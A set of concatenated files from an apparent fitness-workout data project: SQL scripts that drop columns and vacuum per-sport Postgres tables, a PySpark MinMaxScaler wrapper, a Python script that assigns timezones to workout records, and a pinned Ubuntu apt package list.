alter table run drop column time;
alter table sailing drop column time;
alter table scuba_diving drop column time;
alter table skate drop column time;
alter table skateboarding drop column time;
alter table snowboarding drop column time;
alter table snowshoeing drop column time;
alter table soccer drop column time;
alter table squash drop column time;
alter table stair_climing drop column time;
alter table step_counter drop column time;
alter table surfing drop column time;
alter table swimming drop column time;
alter table table_tennis drop column time;
alter table tennis drop column time;
alter table treadmill_running drop column time;
alter table treadmill_walking drop column time;
alter table volleyball drop column time;
alter table walk drop column time;
alter table walk_transport drop column time;
alter table weight_lifting drop column time;
alter table weight_training drop column time;
alter table wheelchair drop column time;
alter table windsurfing drop column time;
alter table yoga drop column time;
<file_sep>alter table aerobics drop column id;
alter table american_football drop column id;
alter table badminton drop column id;
alter table baseball drop column id;
alter table basketball drop column id;
alter table beach_volleyball drop column id;
alter table bike drop column id;
alter table bike_transport drop column id;
alter table boxing drop column id;
alter table circuit_training drop column id;
alter table climbing drop column id;
alter table core_stability_training drop column id;
alter table cricket drop column id;
alter table cross_country_skiing drop column id;
alter table dancing drop column id;
alter table downhill_skiing drop column id;
alter table elliptical drop column id;
alter table fencing drop column id;
alter table fitness_walking drop column id;
alter table golf drop column id;
alter table gymnastics drop column id;
alter table handball drop column id;
alter table hiking drop column id;
alter table hockey drop column id;
alter table horseback_riding drop column id;
alter table indoor_cycling drop column id;
alter table kayaking drop column id;
alter table kite_surfing drop column id;
alter table martial_arts drop column id;
alter table mountain_bike drop column id;
alter table orienteering drop column id;
alter table pilates drop column id;
alter table polo drop column id;
alter table roller_skiing drop column id;
alter table rowing drop column id;
alter table rugby drop column id;
alter table run drop column id;
alter table sailing drop column id;
alter table scuba_diving drop column id;
alter table skate drop column id;
alter table skateboarding drop column id;
alter table snowboarding drop column id;
alter table snowshoeing drop column id;
alter table soccer drop column id;
alter table squash drop column id;
alter table stair_climing drop column id;
alter table step_counter drop column id;
alter table surfing drop column id;
alter table swimming drop column id;
alter table table_tennis drop column id;
alter table tennis drop column id;
alter table treadmill_running drop column id;
alter table treadmill_walking drop column id;
alter table volleyball drop column id;
alter table walk drop column id;
alter table walk_transport drop column id;
alter table weight_lifting drop column id;
alter table weight_training drop column id;
alter table wheelchair drop column id;
alter table windsurfing drop column id;
alter table yoga drop column id;
<file_sep>
# coding: utf-8
# In[1]:
from pyspark.ml.feature import MinMaxScaler
from pyspark import SparkContext
#minMaxScaler wrapper since originalMin/Max is only implemented in 2.0
class mmscaler_wrapper():
mmModel = ''
originalMin = ''
originalMax = ''
def __init__(self, inputCol, outputCol, s_min = 0, s_max = 0):
self.mmModel = MinMaxScaler(inputCol=inputCol, outputCol=outputCol)
self.mmModel.setMin(s_min)
self.mmModel.setMax(s_max)
self.in_column = inputCol
def get_input_col_name(self):
return self.mmModel.getInputCol()
def getMax(self):
return self.mmModel.getMax()
def getMin(self):
return self.mmModel.getMin()
def describe(self):
print 'describe'
def fit(self, df):
col = self.mmModel.getInputCol()
self.originalMin = df.select(col).rdd.flatMap(lambda x: x[0]).min()
self.originalMax = df.select(col).rdd.flatMap(lambda x: x[0]).max()
return self.mmModel.fit(df)
#denormalize the value
def denormalize(self, value):
v = (value-self.getMin())* (self.originalMax - self.originalMin)* (self.getMax()-self.getMin()) + self.originalMin
if v or v == 0:
return v
else:
return -999
def denormalize_df(self, df):
col = self.mmModel.getInputCol()
def normalize(self, value):
pass
# In[ ]:
<file_sep>vacuum full aerobics;
vacuum full aerobics_by_workout;
vacuum full american_football;
vacuum full american_football_by_workout;
vacuum full badminton;
vacuum full badminton_by_workout;
vacuum full baseball;
vacuum full baseball_by_workout;
vacuum full basketball;
vacuum full basketball_by_workout;
vacuum full beach_volleyball;
vacuum full beach_volleyball_by_workout;
vacuum full bike_by_workout;
vacuum full bike_transport_by_workout;
vacuum full boxing;
vacuum full boxing_by_workout;
vacuum full circuit_training;
vacuum full circuit_training_by_workout;
vacuum full climbing;
vacuum full climbing_by_workout;
vacuum full core_stability_training;
vacuum full core_stability_training_by_workout;
vacuum full cricket;
vacuum full cricket_by_workout;
vacuum full cross_country_skiing;
vacuum full cross_country_skiing_by_workout;
vacuum full dancing;
vacuum full dancing_by_workout;
vacuum full downhill_skiing;
vacuum full downhill_skiing_by_workout;
vacuum full elliptical;
vacuum full elliptical_by_workout;
vacuum full fencing;
vacuum full fencing_by_workout;
vacuum full fitness_walking;
vacuum full fitness_walking_by_workout;
vacuum full golf;
vacuum full golf_by_workout;
vacuum full gymnastics;
vacuum full gymnastics_by_workout;
vacuum full handball;
vacuum full handball_by_workout;
vacuum full hiking;
vacuum full hiking_by_workout;
vacuum full hockey;
vacuum full hockey_by_workout;
vacuum full horseback_riding;
vacuum full horseback_riding_by_workout;
vacuum full indoor_cycling;
vacuum full indoor_cycling_by_workout;
vacuum full kayaking;
vacuum full kayaking_by_workout;
vacuum full kite_surfing;
vacuum full kite_surfing_by_workout;
vacuum full martial_arts;
vacuum full martial_arts_by_workout;
vacuum full mountain_bike;
vacuum full mountain_bike_by_workout;
vacuum full orienteering;
vacuum full orienteering_by_workout;
vacuum full pilates;
vacuum full pilates_by_workout;
vacuum full polo;
vacuum full polo_by_workout;
vacuum full roller_skiing;
vacuum full roller_skiing_by_workout;
vacuum full rowing;
vacuum full rowing_by_workout;
vacuum full rugby;
vacuum full rugby_by_workout;
vacuum full run_by_workout;
vacuum full run_sub_with_hr;
vacuum full run_sub_with_hr_users;
vacuum full run_with_hr_spd;
vacuum full sailing;
vacuum full sailing_by_workout;
vacuum full scuba_diving;
vacuum full scuba_diving_by_workout;
vacuum full skate;
vacuum full skate_by_workout;
vacuum full skateboarding;
vacuum full skateboarding_by_workout;
vacuum full snowboarding;
vacuum full snowboarding_by_workout;
vacuum full snowshoeing;
vacuum full snowshoeing_by_workout;
vacuum full soccer;
vacuum full soccer_by_workout;
vacuum full squash;
vacuum full squash_by_workout;
vacuum full stair_climing;
vacuum full stair_climing_by_workout;
vacuum full step_counter;
vacuum full step_counter_by_workout;
vacuum full surfing;
vacuum full surfing_by_workout;
vacuum full swimming;
vacuum full swimming_by_workout;
vacuum full table_tennis;
vacuum full table_tennis_by_workout;
vacuum full tennis;
vacuum full tennis_by_workout;
vacuum full treadmill_running;
vacuum full treadmill_running_by_workout;
vacuum full treadmill_walking;
vacuum full treadmill_walking_by_workout;
vacuum full user_workout_counts;
vacuum full volleyball;
vacuum full volleyball_by_workout;
vacuum full walk;
vacuum full walk_by_workout;
vacuum full walk_transport;
vacuum full walk_transport_by_workout;
vacuum full weight_lifting;
vacuum full weight_lifting_by_workout;
vacuum full weight_training;
vacuum full weight_training_by_workout;
vacuum full wheelchair;
vacuum full wheelchair_by_workout;
vacuum full windsurfing;
vacuum full windsurfing_by_workout;
vacuum full yoga;
vacuum full yoga_by_workout;
vacuum full bike;
vacuum full run;
<file_sep>vacuum full verbose aerobics;
vacuum full verbose aerobics_by_workout;
vacuum full verbose american_football;
vacuum full verbose american_football_by_workout;
vacuum full verbose badminton;
vacuum full verbose badminton_by_workout;
vacuum full verbose baseball;
vacuum full verbose baseball_by_workout;
vacuum full verbose basketball;
vacuum full verbose basketball_by_workout;
vacuum full verbose beach_volleyball;
vacuum full verbose beach_volleyball_by_workout;
vacuum full verbose bike_by_workout;
vacuum full verbose bike_transport_by_workout;
vacuum full verbose boxing;
vacuum full verbose boxing_by_workout;
vacuum full verbose circuit_training;
vacuum full verbose circuit_training_by_workout;
vacuum full verbose climbing;
vacuum full verbose climbing_by_workout;
vacuum full verbose core_stability_training;
vacuum full verbose core_stability_training_by_workout;
vacuum full verbose cricket;
vacuum full verbose cricket_by_workout;
vacuum full verbose cross_country_skiing;
vacuum full verbose cross_country_skiing_by_workout;
vacuum full verbose dancing;
vacuum full verbose dancing_by_workout;
vacuum full verbose downhill_skiing;
vacuum full verbose downhill_skiing_by_workout;
vacuum full verbose elliptical;
vacuum full verbose elliptical_by_workout;
vacuum full verbose fencing;
vacuum full verbose fencing_by_workout;
vacuum full verbose fitness_walking;
vacuum full verbose fitness_walking_by_workout;
vacuum full verbose golf;
vacuum full verbose golf_by_workout;
vacuum full verbose gymnastics;
vacuum full verbose gymnastics_by_workout;
vacuum full verbose handball;
vacuum full verbose handball_by_workout;
vacuum full verbose hiking;
vacuum full verbose hiking_by_workout;
vacuum full verbose hockey;
vacuum full verbose hockey_by_workout;
vacuum full verbose horseback_riding;
vacuum full verbose horseback_riding_by_workout;
vacuum full verbose indoor_cycling;
vacuum full verbose indoor_cycling_by_workout;
vacuum full verbose kayaking;
vacuum full verbose kayaking_by_workout;
vacuum full verbose kite_surfing;
vacuum full verbose kite_surfing_by_workout;
vacuum full verbose martial_arts;
vacuum full verbose martial_arts_by_workout;
vacuum full verbose mountain_bike;
vacuum full verbose mountain_bike_by_workout;
vacuum full verbose orienteering;
vacuum full verbose orienteering_by_workout;
vacuum full verbose pilates;
vacuum full verbose pilates_by_workout;
vacuum full verbose polo;
vacuum full verbose polo_by_workout;
vacuum full verbose roller_skiing;
vacuum full verbose roller_skiing_by_workout;
vacuum full verbose rowing;
vacuum full verbose rowing_by_workout;
vacuum full verbose rugby;
vacuum full verbose rugby_by_workout;
vacuum full verbose run_by_workout;
vacuum full verbose run_sub_with_hr;
vacuum full verbose run_sub_with_hr_users;
vacuum full verbose run_with_hr_spd;
vacuum full verbose sailing;
vacuum full verbose sailing_by_workout;
vacuum full verbose scuba_diving;
vacuum full verbose scuba_diving_by_workout;
vacuum full verbose skate;
vacuum full verbose skate_by_workout;
vacuum full verbose skateboarding;
vacuum full verbose skateboarding_by_workout;
vacuum full verbose snowboarding;
vacuum full verbose snowboarding_by_workout;
vacuum full verbose snowshoeing;
vacuum full verbose snowshoeing_by_workout;
vacuum full verbose soccer;
vacuum full verbose soccer_by_workout;
vacuum full verbose squash;
vacuum full verbose squash_by_workout;
vacuum full verbose stair_climing;
vacuum full verbose stair_climing_by_workout;
vacuum full verbose step_counter;
vacuum full verbose step_counter_by_workout;
vacuum full verbose surfing;
vacuum full verbose surfing_by_workout;
vacuum full verbose swimming;
vacuum full verbose swimming_by_workout;
vacuum full verbose table_tennis;
vacuum full verbose table_tennis_by_workout;
vacuum full verbose tennis;
vacuum full verbose tennis_by_workout;
vacuum full verbose treadmill_running;
vacuum full verbose treadmill_running_by_workout;
vacuum full verbose treadmill_walking;
vacuum full verbose treadmill_walking_by_workout;
vacuum full verbose user_workout_counts;
vacuum full verbose volleyball;
vacuum full verbose volleyball_by_workout;
vacuum full verbose walk;
vacuum full verbose walk_by_workout;
vacuum full verbose walk_transport;
vacuum full verbose walk_transport_by_workout;
vacuum full verbose weight_lifting;
vacuum full verbose weight_lifting_by_workout;
vacuum full verbose weight_training;
vacuum full verbose weight_training_by_workout;
vacuum full verbose wheelchair;
vacuum full verbose wheelchair_by_workout;
vacuum full verbose windsurfing;
vacuum full verbose windsurfing_by_workout;
vacuum full verbose yoga;
vacuum full verbose yoga_by_workout;
vacuum full verbose bike;
vacuum full verbose run;
<file_sep>import psycopg2
import ujson
import copy
import numpy as np
import scipy.stats
import sys
dbname = 'endomondo'
conn = psycopg2.connect("dbname=endomondo user=ubuntu")
# Open a cursor to perform database operations
cur = conn.cursor()
cur.execute("select relname from pg_class where relkind='r' and relname !~ '^(pg_|sql_)';")
series_tables = []
workout_tables = []
for _i in cur.fetchall():
if 'user_workout_counts' in _i[0]:
continue
if 'by_workout' in _i[0]:
workout_tables.append(_i[0])
continue
series_tables.append(_i[0])
print series_tables
print workout_tables
import datetime
import pytz
from decimal import Decimal
from timezonefinder import TimezoneFinder
tf = TimezoneFinder()
print TimezoneFinder.using_numba()
# add timezone
for _table in workout_tables:
failed = 0
print _table
query = "select start_latitude, start_longitude, workoutId from {}".format(_table)
cur.execute(query)
_tmp = cur.fetchall()
workoutIds = []
for _i in _tmp:
if _i[0] == None or _i[1] == None:
continue
if _i[0] < -180 or _i[0] > 180:
continue
workoutIds.append([_i[2], tf.timezone_at(lat=float(str(_i[0])), lng=float(str(_i[1])))])
for _workout in workoutIds:
if _workout[1] == None:
failed += 1
continue
query = "update {} set timezone = '{}' where workoutId = {};".format(_table, _workout[1], _workout[0])
cur.execute(query)
conn.commit()
print "failed: ",failed
<file_sep>sudo -i
cat >> apt.packages <<EOL
accountsservice=0.6.40-2ubuntu11.3
acl=2.2.52-3
acpid=1:2.0.26-1ubuntu2
adduser=3.113+nmu3ubuntu4
apparmor=2.10.95-0ubuntu2.6
apport=2.20.1-0ubuntu2.5
apport-symptoms=0.20
apt=1.2.20
apt-transport-https=1.2.20
apt-utils=1.2.20
aptitude=0.7.4-2ubuntu2
aptitude-common=0.7.4-2ubuntu2 A
at=3.1.18-2ubuntu1
base-files=9.4ubuntu4.4
base-passwd=<PASSWORD>
bash=4.3-14ubuntu1.1
bash-completion=1:2.1-4.2ubuntu1.1
bcache-tools=1.0.8-2
bind9-host=1:9.10.3.dfsg.P4-8ubuntu1.6
binfmt-support=2.1.6-1 A
binutils=2.26.1-1ubuntu1~16.04.3 A
bsdmainutils=9.0.6ubuntu3
bsdutils=1:2.27.1-6ubuntu3.2
btrfs-tools=4.4-1
build-essential=12.1ubuntu2 A
busybox-initramfs=1:1.22.0-15ubuntu1
busybox-static=1:1.22.0-15ubuntu1
byobu=5.106-0ubuntu1
bzip2=1.0.6-8
ca-certificates=20160104ubuntu1
clang-3.9=1:3.9.1~svn288847-1~exp1
cloud-guest-utils=0.27-0ubuntu24
cloud-init=0.7.9-90-g61eb03fe-0ubuntu1~16.04.1
cloud-initramfs-copymods=0.27ubuntu1.3
cloud-initramfs-dyn-netconf=0.27ubuntu1.3
comerr-dev=2.1-1.42.13-1ubuntu1 A
command-not-found=0.3ubuntu16.04.2
command-not-found-data=0.3ubuntu16.04.2
console-setup=1.108ubuntu15.3
console-setup-linux=1.108ubuntu15.3
coreutils=8.25-2ubuntu2
cpio=2.11+dfsg-5ubuntu1
cpp=4:5.3.1-1ubuntu1 A
cpp-5=5.4.0-6ubuntu1~16.04.4 A
cron=3.0pl1-128ubuntu2
cryptsetup=2:1.6.6-5ubuntu2
cryptsetup-bin=2:1.6.6-5ubuntu2
curl=7.47.0-1ubuntu2.2
dash=0.5.8-2.1ubuntu2
dbus=1.10.6-1ubuntu3.3
debconf=1.5.58ubuntu1
debconf-i18n=1.5.58ubuntu1
debianutils=4.7
dh-python=2.20151103ubuntu1.1
diffutils=1:3.3-3
distro-info-data=0.28ubuntu0.3
dmeventd=2:1.02.110-1ubuntu10
dmidecode=3.0-2ubuntu0.1
dmsetup=2:1.02.110-1ubuntu10
dns-root-data=2015052300+h+1
dnsmasq-base=2.75-1ubuntu0.16.04.2
dnsutils=1:9.10.3.dfsg.P4-8ubuntu1.6
dosfstools=3.0.28-2ubuntu0.1
dpkg=1.18.4ubuntu1.2
dpkg-dev=1.18.4ubuntu1.2 A
e2fslibs=1.42.13-1ubuntu1
e2fsprogs=1.42.13-1ubuntu1
eatmydata=105-3
ed=1.10-2
eject=2.1.5+deb1+cvs20081104-13.1ubuntu0.16.04.1
ethtool=1:4.5-1
fakeroot=1.20.2-1ubuntu1 A
file=1:5.25-2ubuntu1
findutils=4.6.0+git+20160126-2
fontconfig-config=2.11.94-0ubuntu1.1 A
fonts-dejavu-core=2.35-1 A
fonts-ubuntu-font-family-console=1:0.83-0ubuntu2
friendly-recovery=0.2.31
ftp=0.17-33
fuse=2.9.4-1ubuntu3.1
g++=4:5.3.1-1ubuntu1 A
g++-5=5.4.0-6ubuntu1~16.04.4 A
gawk=1:4.1.3+dfsg-0.1
gcc=4:5.3.1-1ubuntu1 A
gcc-5=5.4.0-6ubuntu1~16.04.4 A
gcc-5-base=5.4.0-6ubuntu1~16.04.4
gcc-6-base=6.0.1-0ubuntu1
gdisk=1.0.1-1build1
geoip-database=20160408-1
gettext-base=0.19.7-2ubuntu3
gir1.2-glib-2.0=1.46.0-3ubuntu1
git=1:2.7.4-0ubuntu1
git-man=1:2.7.4-0ubuntu1
gnupg=1.4.20-1ubuntu3.1
golang-1.6-go=1.6.2-0ubuntu5~16.04.2 A
golang-1.6-race-detector-runtime=0.0+svn252922-0ubuntu1 A
golang-1.6-src=1.6.2-0ubuntu5~16.04.2 A
golang-go=2:1.6-1ubuntu4
golang-race-detector-runtime=2:1.6-1ubuntu4 A
golang-src=2:1.6-1ubuntu4 A
gpgv=1.4.20-1ubuntu3.1
grep=2.25-1~16.04.1
groff-base=1.22.3-7
grub-common=2.02~beta2-36ubuntu3.9 A
grub-gfxpayload-lists=0.7 A
grub-legacy-ec2=0.7.9-90-g61eb03fe-0ubuntu1~16.04.1
grub-pc=2.02~beta2-36ubuntu3.9 A
grub-pc-bin=2.02~beta2-36ubuntu3.9 A
grub2-common=2.02~beta2-36ubuntu3.9 A
gzip=1.6-4ubuntu1
hdparm=9.48+ds-1
hostname=3.16ubuntu2
ifenslave=2.7ubuntu1
ifupdown=0.8.10ubuntu1.2
info=6.1.0.dfsg.1-5
init=1.29ubuntu4
init-system-helpers=1.29ubuntu4
initramfs-tools=0.122ubuntu8.8
initramfs-tools-bin=0.122ubuntu8.8
initramfs-tools-core=0.122ubuntu8.8
initscripts=2.88dsf-59.3ubuntu2
insserv=1.14.0-5ubuntu3
install-info=6.1.0.dfsg.1-5
iproute2=4.3.0-1ubuntu3
iptables=1.6.0-2ubuntu3
iptables-persistent=1.0.4
iputils-ping=3:20121221-5ubuntu2
iputils-tracepath=3:20121221-5ubuntu2
irqbalance=1.1.0-2ubuntu1
isc-dhcp-client=4.3.3-5ubuntu12.6
isc-dhcp-common=4.3.3-5ubuntu12.6
iso-codes=3.65-1
kbd=1.15.5-1ubuntu5
keyboard-configuration=1.108ubuntu15.3
klibc-utils=2.0.4-8ubuntu1.16.04.3
kmod=22-1ubuntu4
krb5-locales=1.13.2+dfsg-5ubuntu2
krb5-multidev=1.13.2+dfsg-5ubuntu2 A
language-selector-common=0.165.4
less=481-2.1ubuntu0.1
libaccountsservice0=0.6.40-2ubuntu11.3
libacl1=2.2.52-3
libalgorithm-diff-perl=1.19.03-1 A
libalgorithm-diff-xs-perl=0.04-4build1 A
libalgorithm-merge-perl=0.08-3 A
libapparmor-perl=2.10.95-0ubuntu2.6
libapparmor1=2.10.95-0ubuntu2.6
libapt-inst2.0=1.2.20
libapt-pkg5.0=1.2.20
libasan2=5.4.0-6ubuntu1~16.04.4 A
libasn1-8-heimdal=1.7~git20150920+dfsg-4ubuntu1
libasprintf0v5=0.19.7-2ubuntu3
libatm1=1:2.5.1-1.5
libatomic1=5.4.0-6ubuntu1~16.04.4 A
libattr1=1:2.4.47-2
libaudit-common=1:2.4.5-1ubuntu2
libaudit1=1:2.4.5-1ubuntu2
libbind9-140=1:9.10.3.dfsg.P4-8ubuntu1.6
libblkid1=2.27.1-6ubuntu3.2
libboost-iostreams1.58.0=1.58.0+dfsg-5ubuntu3.1 A
libbsd0=0.8.2-1
libbz2-1.0=1.0.6-8
libc-bin=2.23-0ubuntu7
libc-dev-bin=2.23-0ubuntu7 A
libc6=2.23-0ubuntu7
libc6-dev=2.23-0ubuntu7 A
libcap-ng0=0.7.7-1
libcap2=1:2.24-12
libcap2-bin=1:2.24-12
libcc1-0=5.4.0-6ubuntu1~16.04.4 A
libcgi-fast-perl=1:2.10-1 A
libcgi-pm-perl=4.26-1 A
libcilkrts5=5.4.0-6ubuntu1~16.04.4 A
libclang-common-3.9-dev=1:3.9.1~svn288847-1~exp1 A
libclang1-3.9=1:3.9.1~svn288847-1~exp1 A
libclass-accessor-perl=0.34-1 A
libcomerr2=1.42.13-1ubuntu1
libcryptsetup4=2:1.6.6-5ubuntu2
libcurl3-gnutls=7.47.0-1ubuntu2.2
libcwidget3v5=0.5.17-4ubuntu2 A
libdb5.3=5.3.28-11
libdbus-1-3=1.10.6-1ubuntu3.3
libdbus-glib-1-2=0.106-1
libdebconfclient0=0.198ubuntu1
libdevmapper-event1.02.1=2:1.02.110-1ubuntu10
libdevmapper1.02.1=2:1.02.110-1ubuntu10
libdns-export162=1:9.10.3.dfsg.P4-8ubuntu1.6
libdns162=1:9.10.3.dfsg.P4-8ubuntu1.6
libdpkg-perl=1.18.4ubuntu1.2 A
libdrm2=2.4.70-1~ubuntu16.04.1
libdumbnet1=1.12-7
libeatmydata1=105-3
libedit2=3.1-20150325-1ubuntu2
libelf1=0.165-3ubuntu1
libencode-locale-perl=1.05-1 A
liberror-perl=0.17-1.2
libestr0=0.1.10-1
libevent-2.0-5=2.0.21-stable-2ubuntu0.16.04.1
libexpat1=2.1.0-7ubuntu0.16.04.2
libexpat1-dev=2.1.0-7ubuntu0.16.04.2 A
libfakeroot=1.20.2-1ubuntu1 A
libfcgi-perl=0.77-1build1 A
libfdisk1=2.27.1-6ubuntu3.2
libffi-dev=3.2.1-4 A
libffi6=3.2.1-4
libfile-fcntllock-perl=0.22-3 A
libfontconfig1=2.11.94-0ubuntu1.1 A
libfreetype6=2.6.1-0.1ubuntu2.2 A
libfribidi0=0.19.7-1
libfuse2=2.9.4-1ubuntu3.1
libgcc-5-dev=5.4.0-6ubuntu1~16.04.4 A
libgcc1=1:6.0.1-0ubuntu1
libgcrypt20=1.6.5-2ubuntu0.2
libgdbm3=1.8.3-13.1
libgeoip1=1.6.9-1
libgirepository-1.0-1=1.46.0-3ubuntu1
libglib2.0-0=2.48.2-0ubuntu1
libglib2.0-data=2.48.2-0ubuntu1
libgmp10=2:6.1.0+dfsg-2
libgnutls-openssl27=3.4.10-4ubuntu1.2
libgnutls30=3.4.10-4ubuntu1.2
libgomp1=5.4.0-6ubuntu1~16.04.4 A
libgpg-error0=1.21-2ubuntu1
libgpm2=1.20.4-6.1
libgssapi-krb5-2=1.13.2+dfsg-5ubuntu2
libgssapi3-heimdal=1.7~git20150920+dfsg-4ubuntu1
libgssrpc4=1.13.2+dfsg-5ubuntu2 A
libhcrypto4-heimdal=1.7~git20150920+dfsg-4ubuntu1
libheimbase1-heimdal=1.7~git20150920+dfsg-4ubuntu1
libheimntlm0-heimdal=1.7~git20150920+dfsg-4ubuntu1
libhogweed4=3.2-1ubuntu0.16.04.1
libhtml-parser-perl=3.72-1 A
libhtml-tagset-perl=3.20-2 A
libhttp-date-perl=6.02-1 A
libhttp-message-perl=6.11-1 A
libhx509-5-heimdal=1.7~git20150920+dfsg-4ubuntu1
libice6=2:1.0.9-1 A
libicu55=55.1-7ubuntu0.2
libidn11=1.32-3ubuntu1.1
libio-html-perl=1.001-1 A
libio-string-perl=1.08-3 A
libisc-export160=1:9.10.3.dfsg.P4-8ubuntu1.6
libisc160=1:9.10.3.dfsg.P4-8ubuntu1.6
libisccc140=1:9.10.3.dfsg.P4-8ubuntu1.6
libisccfg140=1:9.10.3.dfsg.P4-8ubuntu1.6
libisl15=0.16.1-1 A
libitm1=5.4.0-6ubuntu1~16.04.4 A
libjson-c2=0.11-4ubuntu2
libjsoncpp1=1.7.2-1 A
libk5crypto3=1.13.2+dfsg-5ubuntu2
libkadm5clnt-mit9=1.13.2+dfsg-5ubuntu2 A
libkadm5srv-mit9=1.13.2+dfsg-5ubuntu2 A
libkdb5-8=1.13.2+dfsg-5ubuntu2 A
libkeyutils1=1.5.9-8ubuntu1
libklibc=2.0.4-8ubuntu1.16.04.3
libkmod2=22-1ubuntu4
libkrb5-26-heimdal=1.7~git20150920+dfsg-4ubuntu1
libkrb5-3=1.13.2+dfsg-5ubuntu2
libkrb5support0=1.13.2+dfsg-5ubuntu2
libldap-2.4-2=2.4.42+dfsg-2ubuntu3.1
liblldb-3.9=1:3.9.1~svn288847-1~exp1 A
liblldb-3.9-dev=1:3.9.1~svn288847-1~exp1 A
libllvm3.9=1:3.9.1~svn288847-1~exp1 A
liblocale-gettext-perl=1.07-1build1
liblsan0=5.4.0-6ubuntu1~16.04.4 A
liblvm2app2.2=2.02.133-1ubuntu10
liblvm2cmd2.02=2.02.133-1ubuntu10
liblwp-mediatypes-perl=6.02-1 A
liblwres141=1:9.10.3.dfsg.P4-8ubuntu1.6
liblxc1=2.0.7-0ubuntu1~16.04.2
liblz4-1=0.0~r131-2ubuntu2
liblzma5=5.1.1alpha+20120614-2ubuntu2
liblzo2-2=2.08-1.2
libmagic1=1:5.25-2ubuntu1
libmnl0=1.0.3-5
libmount1=2.27.1-6ubuntu3.2
libmpc3=1.0.3-1 A
libmpdec2=2.4.2-1
libmpfr4=3.1.4-1
libmpx0=5.4.0-6ubuntu1~16.04.4 A
libmspack0=0.5-1
libncurses5=6.0+20160213-1ubuntu1
libncursesw5=6.0+20160213-1ubuntu1
libnetfilter-conntrack3=1.0.5-1
libnettle6=3.2-1ubuntu0.16.04.1
libnewt0.52=0.52.18-1ubuntu2
libnfnetlink0=1.0.1-3
libnih1=1.0.3-4.3ubuntu1
libnuma1=2.0.11-1ubuntu1
libobjc-5-dev=5.4.0-6ubuntu1~16.04.4 A
libobjc4=5.4.0-6ubuntu1~16.04.4 A
libp11-kit0=0.23.2-5~ubuntu16.04.1
libpam-modules=1.1.8-3.2ubuntu2
libpam-modules-bin=1.1.8-3.2ubuntu2
libpam-runtime=1.1.8-3.2ubuntu2
libpam-systemd=229-4ubuntu17
libpam0g=1.1.8-3.2ubuntu2
libparse-debianchangelog-perl=1.2.0-8 A
libparted2=3.2-15
libpcap0.8=1.7.4-2
libpci3=1:3.3.1-1.1ubuntu1.1
libpcre3=2:8.38-3.1
libperl5.22=5.22.1-9
libpipeline1=1.4.1-2
libplymouth4=0.9.2-3ubuntu13.1
libpng12-0=1.2.54-1ubuntu1
libpolkit-agent-1-0=0.105-14.1
libpolkit-backend-1-0=0.105-14.1
libpolkit-gobject-1-0=0.105-14.1
libpopt0=1.16-10
libpq-dev=9.5.6-0ubuntu0.16.04 A
libpq5=9.5.6-0ubuntu0.16.04 A
libprocps4=2:3.3.10-4ubuntu2.3
libpython-all-dev=2.7.11-1 A
libpython-dev=2.7.11-1 A
libpython-stdlib=2.7.11-1 A
libpython2.7=2.7.12-1ubuntu0~16.04.1 A
libpython2.7-dev=2.7.12-1ubuntu0~16.04.1 A
libpython2.7-minimal=2.7.12-1ubuntu0~16.04.1 A
libpython2.7-stdlib=2.7.12-1ubuntu0~16.04.1 A
libpython3-stdlib=3.5.1-3
libpython3.5=3.5.2-2ubuntu0~16.04.1 A
libpython3.5-minimal=3.5.2-2ubuntu0~16.04.1
libpython3.5-stdlib=3.5.2-2ubuntu0~16.04.1
libquadmath0=5.4.0-6ubuntu1~16.04.4 A
libreadline5=5.2+dfsg-3build1
libreadline6=6.3-8ubuntu2
libroken18-heimdal=1.7~git20150920+dfsg-4ubuntu1
librtmp1=2.4+20151223.gitfa8646d-1build1
libsasl2-2=2.1.26.dfsg1-14build1
libsasl2-modules=2.1.26.dfsg1-14build1
libsasl2-modules-db=2.1.26.dfsg1-14build1
libseccomp2=2.2.3-3ubuntu3
libselinux1=2.4-3build2
libsemanage-common=2.3-1build3
libsemanage1=2.3-1build3
libsensors4=1:3.4.0-2 A
libsepol1=2.4-2
libsigc++-2.0-0v5=2.6.2-1 A
libsigsegv2=2.10-4
libslang2=2.3.0-2ubuntu1
libsm6=2:1.2.2-1 A
libsmartcols1=2.27.1-6ubuntu3.2
libsqlite3-0=3.11.0-1ubuntu1
libss2=1.42.13-1ubuntu1
libssl-dev=1.0.2g-1ubuntu4.6 A
libssl-doc=1.0.2g-1ubuntu4.6 A
libssl1.0.0=1.0.2g-1ubuntu4.6
libstdc++-5-dev=5.4.0-6ubuntu1~16.04.4 A
libstdc++6=5.4.0-6ubuntu1~16.04.4
libsub-name-perl=0.14-1build1 A
libsystemd0=229-4ubuntu17
libtasn1-6=4.7-3ubuntu0.16.04.1
libtext-charwidth-perl=0.04-7build5
libtext-iconv-perl=1.7-5build4
libtext-wrapi18n-perl=0.06-7.1
libtimedate-perl=2.3000-2 A
libtinfo-dev=6.0+20160213-1ubuntu1 A
libtinfo5=6.0+20160213-1ubuntu1
libtsan0=5.4.0-6ubuntu1~16.04.4 A
libubsan0=5.4.0-6ubuntu1~16.04.4 A
libudev1=229-4ubuntu17
liburi-perl=1.71-1 A
libusb-0.1-4=2:0.1.12-28
libusb-1.0-0=2:1.0.20-1
libustr-1.0-1=1.0.4-5
libutempter0=1.1.6-3
libuuid1=2.27.1-6ubuntu3.2
libwind0-heimdal=1.7~git20150920+dfsg-4ubuntu1
libwrap0=7.6.q-25
libx11-6=2:1.6.3-1ubuntu2
libx11-data=2:1.6.3-1ubuntu2
libxapian22v5=1.2.22-2 A
libxau6=1:1.0.8-1
libxaw7=2:1.0.13-1 A
libxcb1=1.11.1-1ubuntu1
libxcursor1=1:1.1.14-1 A
libxdmcp6=1:1.1.2-1.1
libxext6=2:1.3.3-1
libxfixes3=1:5.0.1-2 A
libxft2=2.3.2-1 A
libxkbfile1=1:1.0.9-0ubuntu1 A
libxml2=2.9.3+dfsg1-1ubuntu0.2
libxmu6=2:1.1.2-2 A
libxmuu1=2:1.1.2-2
libxpm4=1:3.5.11-1ubuntu0.16.04.1 A
libxrender1=1:0.9.9-0ubuntu1 A
libxslt1.1=1.1.28-2.1ubuntu0.1 A
libxt6=1:1.1.5-0ubuntu1 A
libxtables11=1.6.0-2ubuntu3
libyaml-0-2=0.1.6-3
linux-base=4.0ubuntu1
linux-headers-4.4.0-64=4.4.0-64.85 A
linux-headers-4.4.0-64-generic=4.4.0-64.85 A
linux-headers-4.4.0-66=4.4.0-66.87 A
linux-headers-4.4.0-66-generic=4.4.0-66.87 A
linux-headers-4.4.0-70=4.4.0-70.91 A
linux-headers-4.4.0-70-generic=4.4.0-70.91 A
linux-headers-4.4.0-71=4.4.0-71.92 A
linux-headers-4.4.0-71-generic=4.4.0-71.92 A
linux-headers-4.4.0-72=4.4.0-72.93 A
